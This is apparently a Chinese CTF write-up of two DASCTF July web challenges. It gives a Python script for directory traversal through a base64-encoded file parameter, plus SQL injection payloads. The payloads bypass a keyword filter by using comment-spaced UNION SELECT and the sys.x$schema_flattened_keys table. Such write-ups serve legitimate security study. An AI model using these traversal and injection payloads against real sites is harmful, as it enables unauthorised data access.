DASCTF七月赛两道Web题复现
Ezfileinclude(目录穿越)
拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw==
t是时间,可以利用time.time()获得。f是文件名。经过base64加密。一开始给的是gqy.jpg,访问/gqy.jpg和gpy.jpg的回显一样。尝试目录穿越在gqy.jpg后面加../可以读到etc/passwd
import time,requests,base64
url1 = 'http://183.129.189.60:10012/image.php?t='+str(int(time.time()))+'&f='
url2 = b"gqy.jpg../../../../../../flag"
url2 = str(base64.b64encode(url2),encoding='utf-8')
print(url2)
url=url1+url2
r = requests.get(url)
print(r.text)
SQLi
提示need id,加个id参数,发现id=1或2或3有回显,id=3'无回显,id=3''有回显,存在注入。
试下?id=3' union select 1,2,3#,给出过滤的字符
return preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);
并没有看到union select被过滤,我们暂且继续使用联合注入。
http://183.129.189.60:10011/?id=666'union/**/select/**/1,2,database()%23
暴出数据库的名字为sqlidb
接着暴表名,但是过滤了or, 那么information_schema无法使用,双写和大小写or都无法绕过,这个涉及到bypass information_schema的问题了。可以参考https://www.anquanke.com/post/id/193512
但是stat被过滤了,文章中提到的
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
无法使用,但是可以使用sys.x$schema_flattened_keys。
?id=666'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys/**/where/**/table_schema="sqlidb"%23
暴出表名
看到了flllaaaggg,那么应该没有列了。直接查询flllaaaggg。
?id=666'/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23
加个 1,是因为UNION 内部的 SELECT 语句必须拥有相同数量的列